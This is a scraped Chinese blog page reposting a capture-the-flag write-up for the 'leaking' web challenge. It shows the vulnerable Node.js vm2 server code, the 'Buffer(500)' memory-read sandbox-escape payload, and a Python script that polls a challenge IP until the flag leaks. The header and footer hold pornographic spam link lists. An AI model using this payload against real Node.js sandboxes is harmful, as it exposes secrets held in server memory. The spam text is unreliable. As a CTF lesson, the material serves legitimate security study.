日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界 WEB leaking

發(fā)布時間:2024/3/7 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界 WEB leaking 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

這題考的是node.js沙箱逃逸,之前沒遇到過,屬于是又學到新知識了
具體看這一篇,https://juejin.cn/post/6889226643525599240
簡單說一下原理吧,就是理論上沙箱里的代碼只能與vm上下文打交道,可是vm上下文確是可以與沙箱外的代碼和變量打交道的,因此,如果我們能夠構(gòu)造請求,
使得vm上下文代替我們?nèi)プx取利用沙箱外的代碼和變量的話,那就形成了沙箱逃逸,拿這一題來舉個例吧
先看一下代碼

"use strict";var randomstring = require("randomstring"); var express = require("express"); var {VM } = require("vm2"); var fs = require("fs");var app = express(); var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());} }); app.listen(3000, function() {console.log("listening on port 3000!"); });

由于第一個eval把flag讀入了在內(nèi)存中的全局變量
所以只要我們能通過沙箱里的eval去讀取內(nèi)存中的內(nèi)容的話,就可以形成沙箱逃逸
這題甚至都沒有用到什么原型鏈,直接用Buffer()函數(shù)用于讀取內(nèi)存的內(nèi)容,可以通過這個函數(shù)直接去讀取全局內(nèi)存中的內(nèi)容
由于內(nèi)存的保護機制,并不是每一次都能讀取到含有flag內(nèi)容的代碼的,多運行幾次就好了,上腳本

# encoding=utf-8import requests import time import re url = 'http://111.200.241.244:49433/?data=Buffer(500)' response = '' while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(re.findall(r'flag{.+}',response))break

參考視頻鏈接:https://www.bilibili.com/video/BV11f4y1n71A/

總結(jié)

以上是生活随笔為你收集整理的攻防世界 WEB leaking的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 欧美不卡一二三 | 国产色婷婷一区二区 | 波多野结衣一二三四区 | 女人裸体免费网站 | 亚洲区av| 亚洲久久久久久久 | 中国女人裸体乱淫 | 精品人妻久久久久一区二区三区 | 夜夜夜综合 | 午夜欧美精品久久久久久久 | 91麻豆精品91久久久久同性 | 亚洲操图 | 男人天堂1024 | 欧美成人高清视频 | 国产特级aaaaaa大片 | 成人a级大片 | 国产精品成av人在线视午夜片 | 男女无遮挡免费视频 | 欧美精品中文 | 精品一二三区久久aaa片 | 日韩欧美久久精品 | 五月丁香 | 精品在线你懂的 | 三级色视频 | 色七七桃花影院 | 啪啪网站视频 | 经典杯子蛋糕日剧在线观看免费 | 九九热视| 日韩av一二区 | 伊人涩涩| 性欧美8khd高清极品 | 天天狠狠 | 不卡影院av | 91精品人妻一区二区三区蜜桃欧美 | 尤物视频免费在线观看 | 国产精品熟妇一区二区三区四区 | 免费黄网在线看 | 蜜桃av在线 | 黑人黄色片 | 午夜羞羞羞 | 97av在线视频 | av在线中文 | 中文字幕+乱码+中文字幕明步 | 咪咪成人网 | 黄色片的网站 | 中文字幕av片 | 免费在线观看黄网 | 国产日韩视频在线 | 四虎精品欧美一区二区免费 | 亚洲综合久久久 | 成人黄色免费观看 | 亚洲欧美视频一区 | 国产综合日韩 | 国产人成一区二区三区影院 | 男生裸体视频 | china国模大尺度pics | 人人干人人插 | 97成人在线观看 | 天堂v在线观看 | 亚洲欧美国产精品 | 欧美三日本三级少妇三 | 国产精品亚洲二区在线观看 | 欧美性网址 | 欧美日韩一区二区三区四区 | 成人午夜激情视频 | 欧美极品喷水 | 欧美三级一区 | 真人毛片视频 | 亚洲成人黄色在线 | 伊人婷婷色 | 精品国产av色一区二区深夜久久 | 国产欧美一区二区精品久久久 | 18p在线观看 | 无码一区二区精品 | 一级黄色在线观看 | 肉色欧美久久久久久久免费看 | 三级特黄 | 男人日女人在线观看 | 涩涩视频在线观看 | aaa毛片视频 | 这里只有精品免费视频 | av地址在线观看 | 午夜免费一区 | 成人片在线看 | 久操青青 | 欧美高清视频一区二区三区 | 国产精品91一区 | 在线看黄色的网站 | 国内自拍av | 久久久精品视频一区 | 国产网红无码精品视频 | 久久精品丝袜高跟鞋 | 国产精品一区在线观看你懂的 | 国产极品一区二区 | 91视色| 美女又爽又黄视频毛茸茸 | 亚洲欧美日韩久久精品 | 超碰精品| 成年人在线观看视频 |